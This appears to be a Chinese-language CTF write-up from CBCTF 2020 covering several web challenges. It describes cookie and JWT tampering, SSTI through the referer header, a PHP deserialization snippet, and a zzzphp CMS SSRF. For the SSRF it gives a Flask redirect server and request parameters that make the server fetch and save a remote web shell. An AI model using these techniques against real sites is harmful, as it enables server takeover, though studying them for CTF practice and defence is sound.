[CBCTF 2020] Write Up

尖尖的商店

改COOKIE一把梭


尖尖的商店2

jwt解密可以看到价钱,之前给了源码,大概就是在访问不存在的路径时候referer可以造成ssti

{{config}}读key

jwt加密一把梭


Easy-baby-signin

url是hex – base64 – base64

改成index拿到源码,拿到magicword.txt

简单的反序列化

<?php
class icanhear {var $mykey; var $myword;}

$a = new icanhear();
$a->mykey=&$a->myword;
echo serialize($a);

类似原理可以去看一下[BJDCTF2020]Mark loves cat

WEB几?

zzzphp

一共两个洞,一个是ssrf下载远程shell,另一个是eval处可以模板注入造成任意命令执行

先说SSRF

功能实现在

plugins/ueditor/php/controller.php

传入的post参数进入safe_url函数进行处理,然后传入down_url函数。这里safe_url函数作用不大,主要是在down_url中的逻辑。

在down_url函数逻辑中根据url获取了保存的文件名和后缀,并且进行了文件名后缀的白名单限制和检测。

发现file_ext函数。将URL以?分隔。然后取第1个值。也就是http://127.0.0.1/1.jpg

然后以点截取后缀名。得到.jpg

继续看file_name函数。就是单纯的以/分隔。直接取1.jpg?1.php当文件名

这就造成了差异。因此利用SSRF达到任意地址访问需要利用301/302跳转实现,本地搭建一个提供跳转的http服务器,然后进行访问:

app = Flask(__name__)
@app.route('/1.txt')
def index(page_name=''):
    #return redirect('file:///etc/passwd', code=301) #not work
    return redirect('http://ip/getshell.php', code=301)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000, debug=app.debug)

plugins/ueditor/php/controller.php?action=catchimage&upfolder=1

source[0]=http://VPS/1.jpg?1.php

访问ip/1/1.php拿到shell

参考:zzzcms(php) v1.7.5 前台SQL注入及其他

模板注入

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注